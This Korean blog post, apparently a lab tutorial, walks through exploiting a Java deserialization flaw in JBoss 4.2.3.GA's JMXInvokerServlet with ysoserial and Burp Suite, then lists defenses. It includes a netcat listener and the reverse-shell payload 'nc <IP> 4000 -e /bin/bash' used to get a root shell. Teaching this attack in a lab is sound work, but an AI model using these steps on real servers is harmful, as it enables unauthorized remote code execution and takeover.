본문 바로가기

웹해킹

웹해킹 #14 자바 역직렬화 취약점 공격

1. 자바 역직렬화 취약점 개요

- 발견 시 공격자가 원격에서 코드를 실행할 수 있는 RCE(Remote Code Execution) 공격으로 이어져 심각한 영향을 줌

- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게 되고, 프로그램이 실행되는 동안 필요에 따라 사용됨
-
프로그램이 종료되면 메모리에 있던 객체는 사라지고, 객체에 지금까지 프로그램이 사용하면서 저장한 데이터가 있는데, 그 데이터를 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면, 메모리에 상주하던 객체와 그 데이터를 파일이나 데이터베이스 등에 저장해 두어야 할 것
-
저장을 하기 위해 객체를 바이트 스트림이라는 순차적 데이터로 변환하는 과정이 직렬화이고, 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정이 역직렬화

 

- 객체 데이터를 네트워크를 통해 전송할 때에도 사용 가능
→ 하나의 호스트 내에서 여러 개의 프로세스 (또는 프로그램)가 동일한 객체를 사용할 수 있도록 할 수 있고, 인터넷을 통해 여러 호스트의 프로그램이 동일한 객체를 사용하는 것도 가능

 

- aced0005 라는 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트

 

- 역직렬화가 수행되는 곳이 있다면, 공격자는 직렬화된 바이트 스트림을 조작하거나 임의의 바이트 스트림을 애플리케이션에 전송함으로써 자바 소프트웨어를 공격 가능

 

(자바 역직렬화 취약점 공격은 알려진 취약점을 이용한 공격의 일종)

2. 자바 역직렬화 취약점 공격 실습

실습: ysoserial을 이용해 자바 역직렬화 취약점을 공격하여 루트 권한의 쉘 획득

 

- JBoss 4.2.3.GA8080번 포트를 통해 서비스되도록 설치되어 있음
→ 실습용 가상 머신의 IP 주소와 그 뒤에 :8080 추가하여 8080번 포트로 접속

- 직렬화된 데이터가 어떤 식으로 표시되는지 알기 위해, 버프 스위트를 실행하여 밑 URL로 접속

192.168.56.102:8080/invoker/JMXInvokerServlet

- application/x-java-serialized-object 타입의 파일이 전송되어 다운로드 되는 창 표시됨
→ 직렬화된 데이터가 전달되고 있는 것 알 수 있음
   (
꼭 이 타입을 확인하지 않더라도, 버프 스위트 등에서 전달되는 메시지의 내용을 보고 알 수도 있음)

- 프록시 탭의 HTTP history에서 해당 요청 확인하는데, 버프 스위트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하도록 설정되어 있기 때문에, 필터에서 ‘Filter by MIME type’에서 Other binary를 체크해야 해당 요청이 히스토리에 표시됨

- Response 탭에서 응답 메시지를 확인

- 응답 메시지 바디에서 일반적인 HTML 코드 대신 생소한 문자열 표시됨
- Response
탭의 Hex 탭을 눌러 메시지의 헥스 갑 확인

- 바디가 시작하는 Connection: close 헤더가 끝난 다음 부분을 통해 직렬화된 데이터임을 알려주는 패턴인 ac ed 00 05 확인 가능 → 직렬화된 데이터가 전달되고 있는 것 알 수 있음

 

* ac ed 00 05 패턴과 이 패턴이 Base64 인코딩된 rO0AB 패턴이 전송되는 것을 확인하면 자바 역직렬화 과정이 이루어지는 위치에 대한 힌트 얻을 수 있음

 

- 동일한 /invoker/JMXInvokerServlet 경로에 직렬화된 데이터를 요청 메시지로 전송할 수도 있는데 이때 자바 역직렬화 취약점으로 인해 임의의 페이로드를 삽입하여 원하는 명령어 실행 가능

 

* ysoserial (http://github.com/frohoff/ysoserial)

 

- 자바 역직렬화 취약점 공격을 위해 사용되는 오픈소스

- 프로그램 사용이 목적이라면 직접 컴파일하지 않고, 컴파일이 이미 완료된 jar 파일을 다운로드하여 바로 사용 가능
- jar
파일을 이용하여 원하는 명령어를 실행할 수 있는 페이로드를 만들 수 있고, 임의로 생성한 페이로드를 JBoss/invoker/JMXInvokerServlet URL로 전송하여 페이로드에 지정된 명령어 실행 가능

 

* 리버스 쉘을 이용하여 쉘 획득 과정

 

nc 명령어로 서버 실행

 

nc -lvnp 4000

 

- 위로 접속하는 명령문을 삽입한 페이로드를 ysoserial로 생성하여 자바 역직렬화 취약점이 있는 JBoss /invoker/JMXInvokerServet 경로로 보내면, 원격 호스트(실습용 가상 머신) 에서 리버스로 접속 가능

 

ysoserial을 이용한 페이로드 생성

nc <칼리 리눅스 IP 주소> 4000 -e /bin/bash

- 위 명령문을 삽입한 공격 코드를 ysoserial 이용해 생성
-
새로운 터미널에서 ysoserial 파일을 다운로드한 경로로 이동하고, 다음과 같은 명령어 실행

(192.168.56.101 은 자신의 칼리 리눅스 IP 주소)

- CommonsCollections1은 페이로드의 한 종류로, JBoss 4.2.3.GA 버전이 포함하고 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문에 사용
-
따옴표로 묶은 부분은 우리가 실행하고자 하는 명령어
-
공격 코드를 >를 이용하여 reverse.bin 파일로 생성

 

③ 페이로드 파일의 내용을 /invoker/JMXInvokerServlet URL로 전송

- HTTPhistory에 앞에서 요청했던 항목이 있으므로, 이를 재사용하기 위해 해당 요청을 리피터로 전달
-
리피터 탭에서 바디 부분에서 우클릭으로 Paste from file 클릭하고 reverse.bin 파일 선택하여 파일의 내용 붙여넣기

Go 버튼으로 요청 전송

- nc가 실행 중이던 터미널에서 접속 이루어진 것 확인 가능

- root 사용자의 권한으로 쉘이 생성된 것 확인 가능
→ 호스트 침투 성공 및 루트 권한으로 호스트 완전 장악 가능

3. 자바 역직렬화 취약점 공격 대응

① 역직렬화 전에 반드시 인증 과정 수행
② 출처를 알 수 없는 객체의 경우 역직렬화 수행 X
③ 직렬화된 객체에 디지털 서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부(무결성) 점검
④ 가급적 취소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행한다.